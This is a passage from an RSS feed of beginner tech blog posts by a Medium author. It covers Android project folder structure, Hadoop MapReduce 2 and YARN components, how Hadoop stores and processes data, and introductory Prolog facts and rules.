holds all the Java and Kotlin source code (.java) files that we make during app development, including other Test files. If we create a new project using Kotlin, the MainActivity.java file will be automatically created under the package name “com.incoggeek.myfirstkotlinapp” like this:</p><p><strong>MainActivity.kt and MainActivity.java</strong></p><ul><li>Kotlin</li><li>Java</li></ul><h4>Resource (res) folder</h4><p>The resource folder is the most important folder because it contains all the non-code sources like images, XML layouts, and UI strings for our Android application.</p><h4>res/drawable folder</h4><p>It contains the different types of images used for the development of the application. We need to add all the images in a drawable folder for application development.</p><h4>res/layout folder</h4><p>The layout folder contains all XML layout files which we used to define the user interface of our application. It contains the <strong>activity_main.xml</strong> file.</p><h4>res/mipmap folder</h4><p>This folder contains launcher.xml files to define icons that are used to show on the home screen. It contains different density types of icons depending upon the size of the device such as hdpi, mdpi, xhdpi.</p><h4>res/values folder</h4><p>The values folder contains a number of XML files like strings, dimensions, colors, and style definitions. One of the most important files is the <strong>strings.xml</strong> file which contains the resources.</p><h4>Gradle Scripts folder</h4><p>Gradle is an automated build system that uses a set of files to create a build configuration for all parts of our application. The build.gradle (Project) file contains the build scripts and build.gradle (Module) uses plugins and implementations to create the build configuration which is applied to all the modules of our application.</p><blockquote>Tip : Almost every mobile app provides users with information, such as emails, social media feeds, or news articles. The goal is to deliver the appropriate information to people in the right place and at the right time. If any of these conditions are not met, users uninstall the app because it is not useful.</blockquote><p>I am happy to be able to share it with you guys. I’ll be adding more topics on Android Development. Urgh.. As of now, I’m planning to write another blog post on Intent and context in Android. Thanks for reading. Hit the clap button and drop your comment</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=44098675d7ee" width="1" height="1" alt=""><hr><p><a href="https://medium.com/javarevisited/android-development-for-absolute-beginners-44098675d7ee">Android Development For Absolute Beginners</a> was originally published in <a href="https://medium.com/javarevisited">Javarevisited</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MapReduce 2]]></title>
            <link>https://incoggeek.medium.com/mapreduce-2-1352a62df8e9?source=rss-ae85c9e708cc------2</link>
            <guid isPermaLink="false">https://medium.com/p/1352a62df8e9</guid>
            <category><![CDATA[mapreduce]]></category>
            <category><![CDATA[hadoop-mapreduce]]></category>
            <dc:creator><![CDATA[incoggeek]]></dc:creator>
            <pubDate>Sat, 31 Dec 2022 16:06:46 GMT</pubDate>
            <atom:updated>2024-11-19T15:34:51.195Z</atom:updated>
            <content:encoded><![CDATA[<h3>You need to need learn MapReduce 2</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/406/0*7ukdSPsZ4rFhChcL.jpg" /><figcaption>picture credit: cloudera</figcaption></figure><h4>Reasons to come YARN into existence</h4><p>• NameNode in Hadoop 1.x is single point of failure i.e. each cluster have only 1 NameNode, if that machine is not available, the whole cluster is not available.</p><p>• Only MapReduce jobs are supported.<br>• MapReduce also acts as a resource negotiator means it takes a lot of burden to process job.</p><h4>MapReduce 2 YARN</h4><p>• The earlier version of Hadoop which comprised of only MapReduce did not had a separate resource manager hence it had to perform both the resource management and processing itself.</p><p>• This is where YARN comes into the picture, YARN was developed to take up the responsibilities of -</p><p>1. Resource management<br>2. Job scheduling</p><h3>Components of YARN</h3><h4>1. Resource Manager: (Replaced by JobTracker)</h4><p>It is a master daemon, and helps in managing resources across all clusters. It has all the information about clusters.</p><p>It has 2 parts:<br>• Application Manager: It is responsible to accept or reject the application when it is submitted to the Resource Manager by the client. It launches Application Master in the slave nodes and monitor the progress of Application Master.</p><p>• Scheduler: It helps to negotiate resources so that jobs can run successfully.</p><p>Lets say, we have a spark job which i want to run. So when we submit the job through the client machine, it goes to the resource manager and from it it goes to the scheduler and let the scheduler identify all the places where this job can be executed. It helps to allocate resources to the application. But it doesn’t monitor the progress and care if job fails or not due to some errors.</p><h4>2. Node Manager:(Replaced by TaskTracker)</h4><p>It is a slave daemon and helps in monitoring and managing the containers on node. It tracks the status of node and reports to the Resource Manager. It contains containers and Application Master.</p><h4>It has 2 parts:</h4><p>• Containers: It is just a JVM(Java Virtual Machine) where jobs/applications will run and all the process will be executed. It contains resources like CPU, memory etc.</p><p>• Application Master: It is responsible for the execution of a single job/application when it is assigned to the Node Manager by the Resource Manager. For each application there must be only 1 Application Master. The request made by Application Master to Resource Manager and takes the permission to launch the container. After then, it gives voice to Node Manager to start the job/application task and then it keeps on updating the node manager at a specific interval of time.</p><h4>Steps involved in executing jobs with YARN:</h4><p>• Client submits a job/application to run a job to the Resource Manager<br>• Application Manager in the Resource Manager allocates a container according to the available capacity from scheduler and launch Application Master in the Node Manager.<br>• The Application Master communicates with Node Manager to launch the containers<br>• Within that container, jobs/applications will run<br>• Application Master will send signal to Resource Manager to indicate the status of job/application execution.<br>• Once any job/application execution is completed then Application Master for that application will be de-registered with Resource Manager.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1352a62df8e9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How hadoop works]]></title>
            <link>https://incoggeek.medium.com/how-hadoop-works-42cb88668863?source=rss-ae85c9e708cc------2</link>
            <guid isPermaLink="false">https://medium.com/p/42cb88668863</guid>
            <category><![CDATA[hadoop]]></category>
            <category><![CDATA[big-data]]></category>
            <dc:creator><![CDATA[incoggeek]]></dc:creator>
            <pubDate>Sat, 31 Dec 2022 15:56:53 GMT</pubDate>
            <atom:updated>2022-12-31T15:56:53.565Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cpukwlrj-1LvphWg" /><figcaption>Photo by <a href="https://unsplash.com/@mbaumi?utm_source=medium&amp;utm_medium=referral">Mika Baumeister</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>• Client requests NameNode and NameNode saves the metadata and provides available DataNode where Client should store his data. Now client approaches respective data nodes and stores where replication of data is done to overcome data loss (by default 3). Thereafter acknowledgment is sent among DataNodes as well as to the Client.</p><p>• All DataNodes are slaves for NameNode so they make a blog report and tell its current status to NameNode. And if any DataNode is dead. NameNode modifies its report and choose another DataNode.</p><p>• Client writes program (SQL,Java, Python etc.) and requests JobTracker to perform operation on data. JobTracker takes the request and ask metadata to NameNode now it checks for whether the data is available or not which is requested then NameNode provides it. After that JobTracker finds nearest node ( data available in other node as well) and submits task to TaskTracker. TaskTracker runs the program on DataNode (called map). Same thing is done with others if required data is available in more than one DataNode.</p><p>• File is called input file<br>• Files stored into different nodes are known as input splits.</p><p>• All TaskTrackers are slaves for JobTracker so they tells its current status and slot availability for every 3 sec whether it’s alive or not. If it’s happening JobTracker waits upto 10 second in case nothing changes JobTracker can think either it’s dead or working very slowly.</p><p>• When all mapper complete the processes reducer would be present in any one of working DataNode. It combines all and gives final output. It can be given in DataNode that itself or it can give other DataNode also. And that DataNode will send a blog report to NameNode that client task has been processed directed as TestOutput. Client sees via NameNode where output is given. He directly approaches to the DataNode where output is available</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=42cb88668863" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Prolog Programming]]></title>
            <link>https://incoggeek.medium.com/prolog-programming-9beb258f113b?source=rss-ae85c9e708cc------2</link>
            <guid isPermaLink="false">https://medium.com/p/9beb258f113b</guid>
            <category><![CDATA[artificial-intelligence]]></category>
            <category><![CDATA[prolog]]></category>
            <dc:creator><![CDATA[incoggeek]]></dc:creator>
            <pubDate>Sat, 31 Dec 2022 15:44:46 GMT</pubDate>
            <atom:updated>2022-12-31T15:45:05.803Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Otn8GNplJjf9K4O5" /><figcaption>Photo by <a href="https://unsplash.com/@possessedphotography?utm_source=medium&amp;utm_medium=referral">Possessed Photography</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>The Basics</h3><p>Prolog is one of the most widely used programming languages in artificial intelligence research. Prolog means PROgramming in LOGic.</p><h3>Features</h3><ul><li>Prolog is the major example of a fourth generation programming language supporting the declarative programming paradigm.</li><li>Prolog is a logical and a declarative programming language.</li><li>In declarative language the programmer specifies a goal to be achieved the Prolog system works out how to achieve it.</li><li>Relational databases owe something to Prolog.</li></ul><p><em>Prolog is available in different versions. So, Prolog program written in one version may or may not work in other version.</em></p><ul><li>Traditional programming languages are said to be procedural programmer must specify in detail how to solve a problem :</li><li>For instance, General guideline to make tea.</li></ul><ol><li>Add 1 cup/200 ml of freshly boiled water to your tea bag (in a mug)</li><li>Allow the tea bag to brew for 2 minutes</li><li>Remove the tea bag</li><li>Add 10 ml of milk</li><li>Wait 6 minutes before consumption for the cup to reach its optimum temperature of 140 F/60 C</li></ol><ul><li>In purely declarative languages, the programmer only states what the problem is and leaves the rest to the language system.</li><li><strong>Declarative Programming</strong> is like asking your friend to fix your car. You don’t care how to fix it, that’s up to her.</li><li><strong>Imperative Programming</strong> is like your friend calling your father that tells her how to fix your car step by step.</li></ul><h3>Application of Prolog</h3><ul><li>Prolog’s fast incremental development cycle and rapid prototyping capabilities have encouraged the use of the language as a tool for solving A.I problems.</li><li>Prolog is a powerful tool for building robust commercial applications.</li><li>Prolog features include interfaces to other languages and database products, stand-alone application generators, and more recently, support for techniques such object-orientated and constraint based programming.</li><li>Constraints are a powerful way to reduce the size of the search space and thus increase the efficiency of the scheduler.</li><li>Intelligent data base retrieval</li><li>Expert systems</li><li>Natural language understanding</li><li>Machine learning</li></ul><h3>Relations in Prolog</h3><p>Relationship is one of the main features that we have to properly mention in Prolog. These relationships can be expressed as facts and rules.</p><ul><li>We will create the knowledge base by creating facts and rules, and play query on them.</li><li>In Prolog programs, it specifies relationship between objects and properties of the objects.</li></ul><p>Suppose, there’s a statement, “Amit has a bike”, then we are actually declaring the ownership relationship between two objects — one is Amit and the other is bike.</p><p>If we ask a question, “Does Amit own a bike?”, we are actually trying to find out about one relationship.</p><p>There are various kinds of relationships, of which some can be rules as well. A rule can find out about a relationship even if the relationship is not defined explicitly as a fact.</p><p>We can define a brother relationship as follows −</p><p>Two person are brothers, if,</p><ul><li>They both are male.</li><li>They have the same parent.</li></ul><p>Now consider we have the below phrases −</p><ul><li>parent(sudip, piyus).</li><li>parent(sudip, raj).</li><li>male(piyus).</li><li>male(raj).</li><li>brother(X,Y) :- parent(Z,X), parent(Z,Y),male(X), male(Y)</li></ul><p>These clauses can give us the answer that piyus and raj are brothers, but we will get three pairs of output here. They are: (piyus, piyus), (piyus, raj), (raj, raj). For these pairs, given conditions are true, but for the pairs (piyus, piyus), (raj, raj), they are not actually brothers, they are the same persons. So we have to create the clauses properly to form a relationship.</p><p>The revised relationship can be as follows −</p><p>A and B are brothers if −</p><ul><li>A and B, both are male</li><li>They have same father</li><li>They have same mother</li><li>A and B are not same</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9beb258f113b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>